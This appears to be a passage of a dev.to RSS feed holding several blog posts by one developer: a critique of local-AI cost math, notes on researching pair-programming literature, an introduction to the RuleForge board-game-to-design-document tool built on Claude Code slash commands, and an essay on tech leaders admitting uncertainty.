&lt;strong&gt;Refactoring is continuous.&lt;/strong&gt; Especially with an LLM in the loop — it happily generates abstractions that don't earn their keep unless you push back.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tests are the spec.&lt;/strong&gt; This is the unlock. If your test suite describes behaviour well, the code underneath becomes replaceable. That's what makes LLM-assisted development work at scale instead of collapsing into spaghetti.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Funding enables quality.&lt;/strong&gt; The non-feature work that separates a tool from a toy doesn't happen on evenings and weekends indefinitely.Thanks to &lt;a href="https://ecosyste.ms" rel="noopener noreferrer"&gt;ecosyste.ms&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Some problems are 'LLM hard'&lt;/strong&gt;: Parameter parsing in such a large app with nuanced differences in underlying API structure - Mission impossible. &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The result is a CLI that's functional, maintainable, and ready to be used by people who aren't me. To end up in a 'Instructionless mode' is quite surprising, but surely a result of python leaning to a minimalism that is to be found in 'The Zen of Python'.&lt;/p&gt;

</description>
      <category>vibecoding</category>
      <category>python</category>
      <category>programming</category>
      <category>ai</category>
    </item>
    <item>
      <title>Local AI Will Save Us All (The Math Says So, Trust Me)</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Wed, 15 Apr 2026 14:05:13 +0000</pubDate>
      <link>https://dev.to/sebs/local-ai-will-save-us-all-the-math-says-so-trust-me-4m22</link>
      <guid>https://dev.to/sebs/local-ai-will-save-us-all-the-math-says-so-trust-me-4m22</guid>
      <description>&lt;p&gt;Every few weeks a take goes viral in tech circles making the case for ditching cloud AI and running models locally. The argument is always roughly the same: cloud costs add up, your data is being shipped to American servers of dubious legal standing, and a one-time GPU purchase pays for itself in 18 months. Bold claim. Simple math. Lots of hashtags.&lt;/p&gt;

&lt;p&gt;It deserves a closer look.&lt;/p&gt;

&lt;p&gt;The typical version of this argument runs something like: two RTX PRO 6000 Blackwells, 1,200W draw, six hours a day, €0.32 per kWh — "about €48/month" in electricity. The cards themselves cost around €16,000. Cloud AI, by comparison, runs €100–200 per developer per month. Eight developers, 18 months, done.&lt;/p&gt;

&lt;p&gt;Except the electricity bill is already wrong. &lt;strong&gt;1.2 kW × 6h × 30 days × €0.32 = €69.12.&lt;/strong&gt; Not €48. A 44% error in the opening calculation of an argument whose entire appeal is rigorous arithmetic.&lt;/p&gt;

&lt;p&gt;The break-even math has bigger problems. €100–200/month per developer implies roughly 20 million tokens consumed per person per month. That is not a power user. That is a token foundry. For any team using AI at normal human rates, the break-even slides quietly past two years — by which point the GPU generation is already dated.&lt;/p&gt;

&lt;p&gt;The €16,000 hardware figure also never travels with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Cooling.&lt;/strong&gt; 1,200W sustained is a serious heat load. Office HVAC was not designed for this.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Labor.&lt;/strong&gt; Keeping local model infrastructure running — version management, security patches, prompt compatibility across model updates — is real engineering work that doesn't appear in these spreadsheets.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hardware failure.&lt;/strong&gt; Cloud providers have SLAs. Your server closet does not.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Noise.&lt;/strong&gt; Two RTX PRO 6000 Blackwells under full load exceed 50 dB — a loud dishwasher, sustained, all day. In a dedicated server room, fine. In a shared office, your colleagues will have opinions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Availability.&lt;/strong&gt; The RTX PRO 6000 Blackwell is a new, high-demand professional card with constrained supply and multi-week lead times. If one card fails, you are not buying a replacement over the weekend. You wait — potentially a month or more. Keeping a spare sounds prudent; that spare costs another ~€8,000 and is equally hard to source. A single-point-of-failure setup with no redundancy and a six-week replacement window is not infrastructure. It is optimism.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where the Argument Has a Point
&lt;/h2&gt;

&lt;p&gt;Data sovereignty is real. GDPR compliance for third-country data transfers is genuinely complex, vendor terms change, and strategic dependence on external model providers is a risk that tends to get underweighted until it isn't. The upfront capital requirement is the actual barrier for most teams, not the long-run economics.&lt;/p&gt;

&lt;p&gt;But the most important question gets skipped entirely: &lt;strong&gt;is the local model actually as good?&lt;/strong&gt; Two Blackwells with 192GB VRAM can run serious open-weight models — this is not a toy setup. But if developers need two or three attempts to get what a frontier cloud model produces in one, the labour savings evaporate and the break-even never arrives.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Bottom Line
&lt;/h2&gt;

&lt;p&gt;Local AI infrastructure can make sense — for teams with heavy, sensitive workloads, strong in-house ops capability, and the capital to do it properly, including redundancy, cooling, and the realistic assumption that hardware will occasionally fail at inconvenient times.&lt;/p&gt;

&lt;p&gt;What it is not is a simple 18-month arbitrage available to anyone with a GPU and a spreadsheet.&lt;/p&gt;

&lt;p&gt;The sovereignty argument is the strongest card in the deck. Lead with that. The cost argument needs a lot more columns in the spreadsheet before it holds up.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>mba</category>
      <category>operations</category>
    </item>
    <item>
      <title>Down the Rabbit Hole: Building the Reference List for the Pair-Programming Book</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Mon, 13 Apr 2026 11:20:07 +0000</pubDate>
      <link>https://dev.to/sebs/down-the-rabbit-hole-building-the-reference-list-for-the-pair-programming-book-367n</link>
      <guid>https://dev.to/sebs/down-the-rabbit-hole-building-the-reference-list-for-the-pair-programming-book-367n</guid>
      <description>&lt;p&gt;There's a particular kind of humbling that happens when you sit down to write a book and realize you need to actually &lt;em&gt;read&lt;/em&gt; the papers you've been casually citing for years.&lt;/p&gt;

&lt;p&gt;That's more or less where I found myself when I started assembling the reference list for the Pair Programming Book. What started as "I'll just gather the key papers" turned into a months-long excavation through decades of software engineering research. The current estimate: somewhere between 250 and 500 relevant papers. And counting.&lt;/p&gt;

&lt;p&gt;Here's what that journey looked like.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Papers You Know But Haven't Read
&lt;/h2&gt;

&lt;p&gt;Every field has its citation folklore — papers so frequently referenced that they've achieved the status of common knowledge without anyone actually opening them. Pair programming research is no exception.&lt;/p&gt;

&lt;p&gt;I had a mental list of "classics" I'd been nodding at for years. Williams et al., 2000. Cockburn and Williams. The early XP studies. I knew their conclusions the way you know the plot of a movie you've never seen — through cultural osmosis, hallway conversations, and abstracts alone.&lt;/p&gt;

&lt;p&gt;Actually reading them was a different experience. Some held up beautifully. Others were more nuanced, more conditional, more &lt;em&gt;contested&lt;/em&gt; than the canonical summary suggested. A few conclusions that had calcified into "everyone knows that pair programming does X" turned out to rest on a single study with 41 undergraduates.&lt;/p&gt;

&lt;p&gt;The lesson: citation chains in a young field are fragile things. You owe it to your readers — and yourself — to go back to the source.&lt;/p&gt;

&lt;h2&gt;
  
  
  Laurie Williams Deserves a Prize
&lt;/h2&gt;

&lt;p&gt;If pair programming research has a GOAT, it is, without question, &lt;strong&gt;Laurie Williams&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The sheer volume of rigorous, foundational work she has produced on the subject is staggering. While others were still debating whether pair programming was a gimmick, Williams was running controlled studies, developing frameworks, and building the empirical case that made the whole conversation possible. Decade after decade.&lt;/p&gt;

&lt;p&gt;Writing this book without her work would be like writing about relativity and hoping Einstein doesn't come up. She doesn't just appear in the bibliography — she &lt;em&gt;is&lt;/em&gt; a substantial portion of it.&lt;/p&gt;

&lt;p&gt;If there is ever a formal prize for contributions to software engineering research, the pair programming category should be named after her.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Questionable Corners of the Literature
&lt;/h2&gt;

&lt;p&gt;Not every paper in the pile earned its place gracefully.&lt;/p&gt;

&lt;p&gt;Some announced themselves with titles that made me wince before I even opened the PDF. You know the genre. A combination of buzzwords, a forced acronym, and a vague promise of insight that the abstract doesn't quite deliver on. I won't name names. But I have a folder.&lt;/p&gt;

&lt;p&gt;More substantively: a surprising amount of pair programming research is built on frameworks that the broader scientific community has quietly retired. &lt;strong&gt;Personality type taxonomies&lt;/strong&gt; are the main offender. Myers-Briggs in particular makes repeated appearances — studies earnestly classifying programmers into 16 types and drawing conclusions about pairing compatibility. The problem is that the psychometric foundation for these instruments has been thoroughly undermined. They're not useless as casual conversation tools, but basing empirical research claims on them is shaky ground.&lt;/p&gt;

&lt;p&gt;The same applies to some of the "introvert vs. extrovert" dichotomy work, which tends to treat personality as a binary switch rather than the distributed, context-dependent trait that modern personality psychology describes.&lt;/p&gt;

&lt;p&gt;This doesn't mean the research is worthless — often the observations are real even when the interpretive framework is suspect. But it does mean a lot of careful reading, and a lot of footnotes that essentially say: &lt;em&gt;the finding is interesting, the taxonomy it's hung on is not.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What 250–500 Papers Looks Like
&lt;/h2&gt;

&lt;p&gt;It looks like a lot of tabs.&lt;/p&gt;

&lt;p&gt;It also looks, honestly, like a field that is richer and more contested than its popular summary suggests. Pair programming is not simply "proven effective" or "proven ineffective." The evidence is contextual, domain-specific, experience-level-dependent, and shaped enormously by how you define and measure "effective" in the first place.&lt;/p&gt;

&lt;p&gt;That complexity is exactly why the book needs to exist. The practitioner literature tends toward confident prescriptions. The academic literature is full of hedges, replications, and contradictions that rarely make it into the conference talk or the blog post.&lt;/p&gt;

&lt;p&gt;The reference list is the honest accounting of that complexity. Every citation is a commitment: &lt;em&gt;I looked at this, I understand what it claims, and I'm representing it faithfully.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That's the job. It's slower than I expected. It's also more interesting.&lt;/p&gt;

</description>
      <category>pairprogramming</category>
      <category>writing</category>
      <category>research</category>
    </item>
    <item>
      <title>From Cardboard to Code</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Fri, 10 Apr 2026 22:43:15 +0000</pubDate>
      <link>https://dev.to/sebs/from-cardboard-to-code-29d5</link>
      <guid>https://dev.to/sebs/from-cardboard-to-code-29d5</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;The design challenge isn't understanding board games. It's turning prose rules into structures a software team can actually act on.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;There are thousands of board games. Most of them contain fascinating design work: carefully balanced economies, elegant interaction models, loop structures refined over years of playtesting. Almost none of them exist as digital games. The barrier is real work — translating a 40-page rulebook into a game design document, a feature backlog, an architecture diagram, user stories — before a single line of code is written.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/sebs/ruleforge" rel="noopener noreferrer"&gt;RuleForge&lt;/a&gt; automates that translation. You hand it a PDF. It hands you a developer bundle.&lt;/p&gt;




&lt;h2&gt;
  
  
  What it actually does
&lt;/h2&gt;

&lt;p&gt;At its core, RuleForge is a suite of Claude Code slash commands stored in a &lt;code&gt;.claude/commands/&lt;/code&gt; directory. Each command is a focused AI workflow targeting one specific phase of the board-game-to-digital-game translation process. They can be run individually, or chained together through the main &lt;code&gt;/ruleforge&lt;/code&gt; pipeline command.&lt;/p&gt;

&lt;p&gt;The full pipeline runs 16 stages and produces a self-contained output directory scoped to the game — something like &lt;code&gt;output/catan/&lt;/code&gt; or &lt;code&gt;output/terraforming-mars/&lt;/code&gt; — filled with structured files ready for a development team.&lt;/p&gt;




&lt;h2&gt;
  
  
  The pipeline, step by step
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. &lt;code&gt;/complexity-estimate&lt;/code&gt; — Quick pre-flight scan&lt;/strong&gt;&lt;br&gt;
Before committing to the full pipeline, get a fast complexity estimate. How long is the rulebook? How many mechanics? Is this a 20-minute job or a 2-hour one?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. &lt;code&gt;/ruleforge&lt;/code&gt; — Full pipeline, PDF to developer bundle&lt;/strong&gt;&lt;br&gt;
The main event. Extracts rules, identifies mechanics, generates the game loop diagram, writes the GDD, builds the feature list, creates user stories, outputs architecture diagrams. Resumable if interrupted.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. &lt;code&gt;/card-database&lt;/code&gt; + &lt;code&gt;/economy-flow&lt;/code&gt; — Domain-specific extraction&lt;/strong&gt;&lt;br&gt;
Card-heavy games need their component databases structured. Economy-driven games need their resource flows mapped — sources, sinks, conversions. These commands go deeper on those specific concerns.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. &lt;code&gt;/accessibility-audit&lt;/code&gt; — Check for digital barriers&lt;/strong&gt;&lt;br&gt;
Audits the extracted design across five accessibility dimensions: visual, motor, cognitive, hearing, and communication. Digital ports are an opportunity to do better than the physical original.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. &lt;code&gt;/realtime-forge&lt;/code&gt; — Translate to interactive game design&lt;/strong&gt;&lt;br&gt;
The big leap. Takes the RuleForge output and translates it into a real-time or interactive digital game design — covering analysis, a revised GDD, architecture, balance sheets, asset specifications, and prototype prompts. Seven waves, roughly 30 output files.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. &lt;code&gt;/dev-bundle&lt;/code&gt; — Validate and package&lt;/strong&gt;&lt;br&gt;
Validates all output files including Mermaid diagram syntax, checks for completeness, and packages everything into a clean bundle ready to hand off.&lt;/p&gt;




&lt;h2&gt;
  
  
  The full command library
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Extraction &amp;amp; Analysis
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/extract-rules&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Parse and summarize the rules from a PDF. The raw input layer.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/identify-mechanics&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Classify game mechanics across 25 standard types — Worker Placement, Deck Building, Area Control, Engine Building, and so on.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/game-loop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Generate a Mermaid diagram of atomic, primary, secondary, and tertiary game loops.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/validate-loop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Check the game loop for structural soundness and state reachability. Catches design dead ends.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/adaptation-gap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Report on how much work a digital port actually requires — No Change / Simple Adaptation / Redesign.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/flag-ambiguities&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Surface rules that are unclear, contradictory, or likely to cause bugs when implemented.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/confidence-score&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Self-assessment of extraction quality. Useful for knowing when to do a manual review.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Design &amp;amp; Documentation
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/generate-gdd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Full Game Design Document. Chunked automatically for complex games.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/balance-sheet&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Extract balance parameters with digital annotations and sensitivity analysis.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/feature-list&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Prioritized feature list output as both CSV and Markdown, with a dependency diagram.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/user-stories&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;User stories with granularity selector and acceptance criteria. Outputs to Stories.csv.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/onboarding-design&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Tutorial and onboarding flow design — how a new player learns the game digitally.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/interaction-model&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Component interaction model — how game entities relate to and affect each other.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Architecture &amp;amp; Prototyping
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/architecture-diagram&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;System architecture in Mermaid. Supports Unity, Godot, Phaser, Web, or generic targets.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/prototype-prompts&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;AI prototyping prompts for Rosebud, v0, Bolt, Lovable, or generic tooling.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/economy-flow&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Resource economy diagram — where resources come from, where they go, and how they convert.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/card-database&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Extracts individual card, tile, or component data into a structured database.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Standalone Utilities
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/game-mixer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Blend mechanics from two or more games into hybrid designs, with iteration support.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/decompose-idea&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Break down a game idea using a 7-category ludemic framework.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/ludeme-generator&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Generate a Ludii game description file (.lud) from a concept.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/game-fitness&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Analyze a game concept across 6 fitness dimensions.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/playtest-design&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Design an automated playtesting plan with fitness functions.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/procedural-generator&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Design procedural generation systems using the Watson et al. (2008) workflow.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/game-comparison&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Side-by-side comparison of two RuleForge extractions.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/pdf-to-markdown&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Convert any PDF to clean, well-structured Markdown. Useful as a standalone tool.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  The output structure
&lt;/h2&gt;

&lt;p&gt;Every skill writes into a game-scoped directory under &lt;code&gt;output/&lt;/code&gt;. The game slug is derived automatically from the title in the rulebook. A &lt;code&gt;.context.json&lt;/code&gt; metadata file lets downstream commands pick up where upstream ones left off — that's what makes the pipeline resumable.&lt;/p&gt;

&lt;p&gt;A typical output for something like Terraforming Mars would contain a GDD, a feature CSV, a user stories CSV, Mermaid files for the game loop and architecture, a balance sheet, an onboarding flow design, and prototype prompts ready to paste into your AI prototyping tool of choice.&lt;/p&gt;




&lt;h2&gt;
  
  
  The solo dungeon bash
&lt;/h2&gt;

&lt;p&gt;The repository also ships a &lt;code&gt;solo-dungeon-bash/&lt;/code&gt; directory — a worked example of the pipeline in action on a solo dungeon-crawl game. It's useful both as a reference output and as a test case to understand what the extraction quality actually looks like on a real game with real rules.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why slash commands, not a CLI tool?
&lt;/h2&gt;

&lt;p&gt;This is a deliberate choice. Claude Code's slash command system makes each step conversational and inspectable. You can run &lt;code&gt;/identify-mechanics&lt;/code&gt;, read the output, decide the model missed a nuance, correct it manually, and then continue with &lt;code&gt;/game-loop&lt;/code&gt;. That feedback loop would be much harder to preserve in a fully automated CLI pipeline.&lt;/p&gt;

&lt;p&gt;It also means the tool is essentially zero-setup. Clone the repo, point Claude Code at the directory, and the commands are available. No build step, no package install, no configuration.&lt;/p&gt;




&lt;h2&gt;
  
  
  Get started
&lt;/h2&gt;

&lt;p&gt;The project is on GitHub at &lt;a href="https://github.com/sebs/ruleforge" rel="noopener noreferrer"&gt;github.com/sebs/ruleforge&lt;/a&gt;. Clone it, drop a rulebook PDF next to it, and start with &lt;code&gt;/complexity-estimate path/to/your-game.pdf&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The design is intentionally modular — you don't have to run the full pipeline. If you just need a GDD from a rulebook, run &lt;code&gt;/generate-gdd&lt;/code&gt;. If you want to compare two games, run &lt;code&gt;/game-comparison&lt;/code&gt;. Each command is independently useful.&lt;/p&gt;

&lt;p&gt;Board games are some of the most densely designed interactive systems humans have made. RuleForge is a bet that those designs are worth bringing into software — and that AI can do a lot of the translation work.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>gamedev</category>
      <category>gamedesign</category>
    </item>
    <item>
      <title>Leading With "I Don't Know"</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Mon, 30 Mar 2026 19:46:23 +0000</pubDate>
      <link>https://dev.to/sebs/leading-with-i-dont-know-324h</link>
      <guid>https://dev.to/sebs/leading-with-i-dont-know-324h</guid>
      <description>&lt;p&gt;&lt;em&gt;A powerful thing a tech lead can say isn't an answer. It's an honest admission — about your team's code, about AI's trajectory, about a world in crisis — followed by the only thing that matters: what you do next.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;There's a version of tech leadership that never actually exists but haunts every leader anyway: the person who has seen every edge case, knows where the technology is heading, understands the macro forces shaping the business, and fields every question with calm, grounded certainty.&lt;/p&gt;

&lt;p&gt;It's a fiction. And quietly chasing it is one of the most corrosive things a leader can do.&lt;/p&gt;

&lt;p&gt;The real job — leading developers through ambiguous problems, positioning teams in the face of transformative technology, making business decisions while the world keeps breaking in unpredictable ways — requires a completely different posture. It starts with saying three words without flinching: &lt;strong&gt;I don't know.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Leaders Resist Saying It
&lt;/h2&gt;

&lt;p&gt;The fear is understandable. You got the role because you were sharp. Your team looks to you. Admitting ignorance feels like handing back your credentials in front of everyone who gave them to you.&lt;/p&gt;

&lt;p&gt;But engineers are a perceptive group. They know when an answer is being improvised. They can feel the difference between grounded confidence and performed certainty. And nothing erodes trust faster than a leader who bluffs — especially when it costs the team direction, time, or morale.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Faking knowledge doesn't protect your authority. It slowly transfers it to whoever actually knows.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Admitting "I don't know" is one of the highest-signal things a leader can do. It tells your team that you operate in reality — that their trust is well-placed because you won't lead them off a cliff to protect your ego.&lt;/p&gt;

&lt;p&gt;But the admission isn't the end. It's an opening move. Three areas, in particular, are where honest not-knowing is most consequential right now.&lt;/p&gt;




&lt;h2&gt;
  
  
  Your Team: The Daily Not-Knowing
&lt;/h2&gt;

&lt;p&gt;At the most immediate level, this is about the problems that land on your desk every morning: the architectural decision someone needs a call on, the production incident whose root cause is unclear, the technical direction your team is asking you to set on a system you haven't touched in six months.&lt;/p&gt;

&lt;p&gt;In this context, "I don't know" is a team-safety tool. When a lead normalises it, developers stop pretending too. They surface problems earlier. They ask questions instead of grinding silently for two hours. They admit blockers instead of heroically absorbing them.&lt;/p&gt;

&lt;h3&gt;
  
  
  When you don't know → concrete alternatives
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Move&lt;/th&gt;
&lt;th&gt;What it sounds like&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;01&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Name who does know&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;"I don't know, but Sarah has been closest to that service — let's pull her in." Directing to expertise is leadership, not deferral.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;02&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Define the investigation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;"I don't know, but I think the answer is in the caching config. Can we spike on it this afternoon?" Turn fog into a task.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;03&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Reason out loud together&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;"I don't know — walk me through what you're seeing and let's think it through." Your value isn't always the answer; it's the thinking process.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;04&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Surface the systemic gap&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;"I don't know — and that's a signal we have a documentation problem worth fixing." Use your ignorance diagnostically.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The whole team starts operating in reality rather than in the performance of competence — and reality, however uncomfortable, is a much better place to build software.&lt;/p&gt;




&lt;h2&gt;
  
  
  AI: The Impact No One Can Honestly Quantify
&lt;/h2&gt;

&lt;p&gt;Then there's the larger question your CTO, your board, your reports, and your peers are all asking — the one that gets dressed up in confident slides and frameworks but remains stubbornly, genuinely open: &lt;em&gt;what does AI actually do to how we build software, and how we work?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The honest answer, right now, is that nobody knows.&lt;/p&gt;

&lt;p&gt;We have data points. AI coding assistants measurably change output velocity in some contexts. Some categories of junior tasks look automatable; others that seemed automatable turned out to require more human judgment than assumed. Certain roles are being restructured; others are being amplified. The second and third-order effects — on team structure, on the value of different skills, on how we hire and what seniority means — are genuinely unresolved.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Any leader who tells you they know exactly what AI will do to their team in two years is either guessing confidently or selling something.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is not a reason for paralysis. It's a reason for a particular kind of leadership: one that acknowledges the uncertainty explicitly, moves deliberately rather than reactively, and builds in the organisational capacity to adapt as clarity arrives.&lt;/p&gt;

&lt;h3&gt;
  
  
  What "I don't know" looks like on AI strategy
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Run time-boxed experiments with clear hypotheses instead of committing to wholesale transformations based on hype&lt;/li&gt;
&lt;li&gt;Tell your team honestly: "We're going to try this, observe what changes, and adjust — we're not doing a big bet we can't reverse"&lt;/li&gt;
&lt;li&gt;Resist pressure to make confident AI roadmap calls purely for optics; say "we're still learning" to stakeholders when that's true&lt;/li&gt;
&lt;li&gt;Watch the teams two years ahead of you on adoption and study what they're actually saying now vs. what they said then&lt;/li&gt;
&lt;li&gt;Invest in the capabilities that remain valuable regardless of how AI develops: systems thinking, communication, judgment under ambiguity&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The leaders doing the most honest, useful work on this right now are the ones who've stopped trying to predict AI's impact and started building teams good at navigating whatever it turns out to be.&lt;/p&gt;




&lt;h2&gt;
  
  
  The World on Fire: Crises That Reach Your Sprint Board
&lt;/h2&gt;

&lt;p&gt;And then there's everything else.&lt;/p&gt;

&lt;p&gt;Tech leads used to be able to bracket the world's problems at the office door. That boundary has been dissolving for years — and in the current moment, it's essentially gone. Supply chain shocks affect infrastructure budgets. Geopolitical instability affects where you can hire and what data sovereignty rules apply to your systems. Economic turbulence reshapes what your company thinks the engineering team should be building. Social crises affect your team members directly, and expect leadership to notice.&lt;/p&gt;

